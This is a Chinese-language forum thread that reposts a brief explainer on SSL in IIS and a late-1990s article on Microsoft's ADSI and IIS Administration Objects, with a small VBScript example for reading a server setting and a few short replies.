  SSL(Security Socket Layer)的中文全称是“加密套接字协议层”,是由Netscape公司推出的一种安全通信协议,它位于HTTP协议层和TCP协议层之间,能够对信用卡和个人信息提供较强的保护。SSL在客户和服务器之间建立一条加密通道,确保所传输的数据不被非法窃取,SSL安全加密机制功能是依靠使用数字证书来实现的。
  应用了SSL加密机制后,IIS服务器的数据通信过程如下:首先客户端与IIS服务器建立通信连接,接着IIS把数字证书与公用密钥发给客户端。然后使用这个公共密钥对客户端的会话密钥进行加密后,传递给IIS服务器,服务器端接收后用私人密钥进行解密,这时就在客户端和 IIS服务器间创建了一条安全数据通道,只有被IIS服务器允许的客户才能与它进行通信。
附件: 您需要登录才可以下载或查看附件。没有帐号?注册
pdf,caj,kdh格式请用Adobe Reader或者CAJViewer打开阅读
有任何问题可以到网站会议室举报或提问。

TOP

Microsoft提供IIS新接口
 尽 管Internet 信 息 服 务 器(Internet Information Server,IIS) 现 在 风 靡 一 时, 它 仍 然 存 在 着 一 个 很 大 的 缺 陷, 即 缺 乏 自 动 管 理 的 接 口。 换 句 话 说, 没 有 提 供 允 许 站 点 建 设 者 和 管 理 者 使 用 其 他 软 件 或 第 三 方 工 具 管 理Web 站 点 的 接 口。 从1.0 版 到3.0 版,IIS 都 缺 乏 对 个 人 站 点 可 维 护 性 的 必 要 支 持。 在 新 近 推 出 的IIS 4.0 中,Microsoft 终 于 对 此 做 出 了 一 些 改 进 和 弥 补。
  在 通 常 情 况 下, 所 有 的IIS 管 理 都 要 通 过 图 形 用 户 界 面 来 实 现, 而 不 能 轻 易 地 自 动 化。 尽 管 这 在 没 有 几 个 用 户 的 单 个 服 务 器 的 小 站 点 上 可 以 工 作 得 很 好, 但 对 于 更 大、 更 复 杂 的 站 点 来 说, 则 需 要 更 强 大 的 可 管 理 性 的 支 持。 事 实 是 您 拥 有 的 服 务 器 越 多, 您 就 必 须 执 行 重 复 多 次 的 管 理 任 务。 想 像 一 下, 当 每 次 事 情 发 生 变 化 时 都 不 得 不 重 新 配 置20 个 服 务 器, 这 将 是 多 么 重 的 一 个 负 担, 然 而 也 许 它 是 大 可 不 必 的。 对 于 那 些 天 天 和Web 打 交 道 的 人 们 来 说, 应 该 记 住 这 个 名 言 — — 变 化 是 永 恒 的。 因 此, 我 们 只 有 期 待 它 会 变 得 越 来 越 好。
  在 以 前 版 本 的IIS 中 的 确 存 在 两 个 问 题。 第 一, 缺 乏 一 个 清 晰 的、 开 放 的 第 三 方 管 理 产 品 的 接 口 和 一 个 定 制 的 常 规 管 理 任 务 自 动 化 的 可 编 程 接 口。 第 二, 需 要 一 个 控 制 目 录 服 务 以 使 网 络 上 的 服 务 器 能 够 互 相 发 现 的 机 制。 如 果 这 些 接 口 存 在, 站 点 创 建 者 可 以 使 用 各 种 类 型 的 工 具 来 编 写 各 种 类 型 的 服 务 器 管 理 应 用。 除 了 用 户 管 理 和 安 全 性 产 品 外, 他 们 还 能 创 建 用 于 性 能 管 理、 安 装 和 配 置 的 程 序。
  为 了 提 供 这 些 缺 乏 的 接 口,Microsoft 在1998 年 早 些 时 候 发 布 了 一 个 活 动 目 录 服 务 接 口(Active Directory Service Interfaces,ADSI) 的 新 版 本。ADSI 和IIS 管 理 对 象(IIS Administration Object,IISAO) 一 起 提 供 了 一 个 用 于 控 制 目 录 服 务 和IIS 自 己 的 联 合 解 决 方 案。 这 些 产 品 在Microsoft 公 司 的Windows NT 专 业 开 发 者 大 会 上 首 次 亮 相, 并 且 它 们 已 在IIS 4.0 中 被 提 供。
  ADSI 并 没 有 带 来 任 何 革 新 性 改 进。 简 言 之, 它 通 过 一 个 易 于 使 用 的 且 能 和 传 统 编 程 工 具 对 话 的 名 为 组 件 对 象 模 型(Component Object Model,COM) 的 接 口 提 取 了IIS 目 录 服 务 和 其 他 销 售 商 所 提 供 的 目 录 服 务。COM 允 许 您 用 脚 本 和 程 序 来 控 制IIS。
  IISAO 能 够 被 使 用 许 多 不 同 语 言 编 制 的 应 用 所 访 问, 其 中 包 括C++、Java 和VB。 除 了 数 量 增 长 迅 速 外, 第 三 方 站 点 管 理 工 具 均 可 以 通 过ADSI 和IISAO 更 好 地 挂 接 到IIS 和 目 录 服 务 中。 另 外,IISAO 也 可 以 经 由 一 个 服 务 器 端 的 脚 本 引 擎 和 活 动 服 务 器 页 面(Active Server Page,ASP) 通 过Web 页 面 被 访 问。 事 实 上, 如 果 您 正 使 用IIS 4.0 管 理 工 具 的HTML 版 本, 那 么 您 已 经 在 使 用IISAO。IISAO 还 能 从 使 用Windows 脚 本 主 机(Windows Scripting Host,WSH) 的 命 令 行 访 问。
  和IISAO 一 样,ADSI 只 是 一 组COM 对 象, 能 够 在 它 们 各 自 的 目 录 服 务 中 封 装 对 象。 这 在 本 地 目 录 服 务 和 应 用 中 创 建 了 一 个 抽 象 层, 因 此, 站 点 创 建 者 可 以 通 过 一 个 单 一 的 公 共 接 口 来 控 制 许 多 不 同 的 目 录 服 务。
  IISAO 是 用ADSI 登 记 的 提 供 者。 当 您 正 查 找IIS 信 息 时,ADSI 了 解 应 如 何 用IISAO 创 建 一 个 接 口。 通 过ADSI 和IISAO 能 提 供 一 个 针 对 若 干 个IIS 对 象 的 接 口, 它 们 可 以 执 行 几 个 不 同 的 管 理 任 务, 如IIsFtpServer、IIsWebVirtualDir 和IIsComputer 等 等, 这 意 味 着 能 够 分 别 访 问FTP 服 务 器、 虚 拟 目 录 和 运 行IIS 的 计 算 机。
  通 过COM 和 一 组 共 享 的API, 这 些 新 的 接 口 对 一 些 传 统 开 发 工 具 开 放 了IIS 和 公 共 目 录 服 务 的 大 部 分 特 性。 从 这 些 接 口 上, 站 点 管 理 员 可 以 将COM 用 作 进 入IIS 内 部 的 管 道, 并 且 通 过 一 组 预 定 义 的COM 对 象 来 管 理 它 的 服 务。
  IIS 管 理 对 象 提 供 低 级 和 高 级 两 种 类 型 的 接 口。 低 级 对 象, 也 称 作 管 理 基 本 对 象(Admin Base Object), 能 够 为 管 理 性API 提 供 服 务。 高 级 对 象 则 隐 藏 了 管 理 基 本 对 象 的 复 杂 性, 比 低 级 对 象 更 容 易 使 用, 但 它 不 能 提 供 像 低 级 对 象 那 样 多 的 控 制。
  那 么,IISAO 好 在 哪 里 呢 ? 它 的 应 用 包 括 创 建 一 个 新 的Web 服 务 器、FTP 服 务 器 和 虚 拟 目 录, 以 及 定 制IIS 安 装 过 程。 而 且,IISAO 还 使 您 能 编 程 改 变IIS 设 置, 并 因 此 改 变 存 储 这 些 设 置( 如 值 或 属 性) 的 元 库(Metabase, 类 似 于 注 册 表, 但 专 为IIS 而 定 制)。
  IISAO 按 一 个 分 层 结 构 来 组 织, 并 镜 像 到 元 库 和IIS 的 结 构( 见 图1)。 对 象 都 围 绕 着 其 他 对 象 来 创 建 对 象 结 构。 这 一 对 象 分 层 结 构 使 您 能 访 问 决 定 特 定IIS 元 素 配 置 设 置 的 元 库 属 性。
IISAO由 镜 像 到 元 库 和 IIS结 构 的 分 层 结 构 所 组 织。
  在 支 持 远 程 管 理 目 录 服 务 命 名 空 间(Namespace) 的ADSI 标 准 中,IISAO 是 命 名 空 间 的 提 供 者。IIS 命 名 空 间 由IISAO 和 元 库 组 成。ADSI 简 单 地 提 供 了 一 个 标 准 语 法 来 为IIS 配 置 数 据 寻 址。
  站 点 创 建 者 能 够 使 用ADSI 作 为 接 口 来 使 它 们 的 应 用 和 诸 如 活 动 目 录(Active Directory)、LDAP 和NDS 等 目 录 连 接 在 一 起。 每 一 个 供 应 商 都 提 供 一 组 资 源, 它 们 被 重 映 射 到 一 个 公 共 接 口 或 一 组 都 使 用COM 的 接 口 上。 例 如, 使 用ADSI, 站 点 创 建 者 能 添 加 用 户、 管 理 打 印 机 或 创 建 虚 拟Web 服 务 器。 然 而, 我 们 绝 大 多 数 时 候 都 是 通 过 第 三 方 工 具 而 不 是 直 接 从 一 个 传 统 编 程 语 言 来 使 用ADSI。
  ADSI 在 简 化 目 录 的 使 用 和 管 理 等 方 面 大 有 帮 助, 并 且 能 从 开 放 目 录 服 务 接 口(Open Directory Services Interface,ODSI) 上 获 取 很 多 东 西。 正 如 一 些 人 已 经 了 解 的,ODSI 提 供 一 组API 来 管 理 多 种 类 型 的 目 录 服 务。
  IISAO 采 用 了 一 个 分 层 结 构 的 对 象 命 名 空 间, 其 中 每 个 对 象 都 有 一 个AdsPath。AdsPath 和URL 有 些 类 似, 例 如, 某 个AdsPath 可 以 是IIS://DavesComputer/W3SVC。 这 个AdsPath 指 的 是 名 为DavesComputer 机 器 上 的IIsWebService 对 象。 此 对 象 和 正 运 行IIS 的 机 器 一 并 是IIsComputer 对 象 并 且 包 含 所 有 其 他 的IISAO。
  如 果 想 要 得 到 一 个 命 名 对 象 的 引 用, 您 需 要 在 一 个 程 序( 如 用Visual Basic 编 写 而 成 的 程 序) 中 使 用GetObject。 例 如, 您 能 用 如 下 所 示 的VB 脚 本 来 得 到 名 为DavesComputer 的 计 算 机 的MaxBandwidth 的 当 前 值:
< %
Dim ComputerObj
Dim MaxBW
Set ComputerObj=
GetObject(“IIS:// DavesComputer”)
MaxBW=
ComputerObj.Get(“MaxBandWidth”)
% >
  ADSI 对 象 在 目 录 服 务 中 可 以 代 表 任 一 项 目, 如 用 户、 服 务 器、 计 算 机、 文 件、 打 印 机 及 打 印 序 列 等。 网 络 管 理 员 们 每 天 都 要 和 这 些 实 体 打 交 道。ADSI 定 义 不 同 类 型 的 对 象 来 代 表 不 同 类 型 的 实 体。 每 个 对 象 支 持 一 个 或 多 个COM 接 口, 使 您 能 够 访 问 对 象 自 己 的 信 息( 即 元 数 据,Metadata) 和 对 象 所 代 表 的 信 息。
每 一 个ADSI对 象 支 持 一 个 或 多 个 COM接 口,
使 您 能 够 访 问 对 象 自身 的 信 息 和 对 象 所 代 表 的 信 息。
  ADSI 和IISAO 听 起 来 似 乎 有 些 复 杂, 然 而, 随 着Windows NT 5.0 的 上 市, 它 带 来 了 活 动 目 录 的 一 线 曙 光, 并 揭 示 了NT 最 终 支 持 企 业 级 系 统 的 潜 力。 但 是 当 我 们 看 到NT 和IIS 扩 展 到 企 业 网 络 水 平 和 当 服 务 器 和 用 户 数 日 益 增 多 时, 可 管 理 性 则 成 了 一 个 大 问 题。
  这 些 接 口 的 过 人 之 处 不 仅 在 于 它 们 易 于 使 用 的 事 实, 而 且 在 于 它 们 最 终 能 使 用 任 意 数 目 的 语 言 和 工 具 使 管 理 任 务 自 动 化。 另 外, 第 三 方 管 理 工 具 最 终 将 有 一 个 和 它 协 同 工 作 的 公 共 接 口。
  最 后, 我 们 必 须 意 识 到, 关 键 问 题 不 是 如 何 使IIS 成 为 企 业 的 首 选 服 务 器, 而 是 何 时。 看 起 来Microsoft 公 司 将 服 务 器 和 操 作 系 统 捆 绑 在 一 起 的 策 略 正 发 挥 着 作 用, 很 可 能 到 本 世 纪 末 我 们 都 能 在IIS 上 找 到 自 己 的 内 容。
pdf,caj,kdh格式请用Adobe Reader或者CAJViewer打开阅读
有任何问题可以到网站会议室举报或提问。

TOP

谢谢楼主

TOP

能打个包提供下载吗?

TOP

返回列表 回复 发帖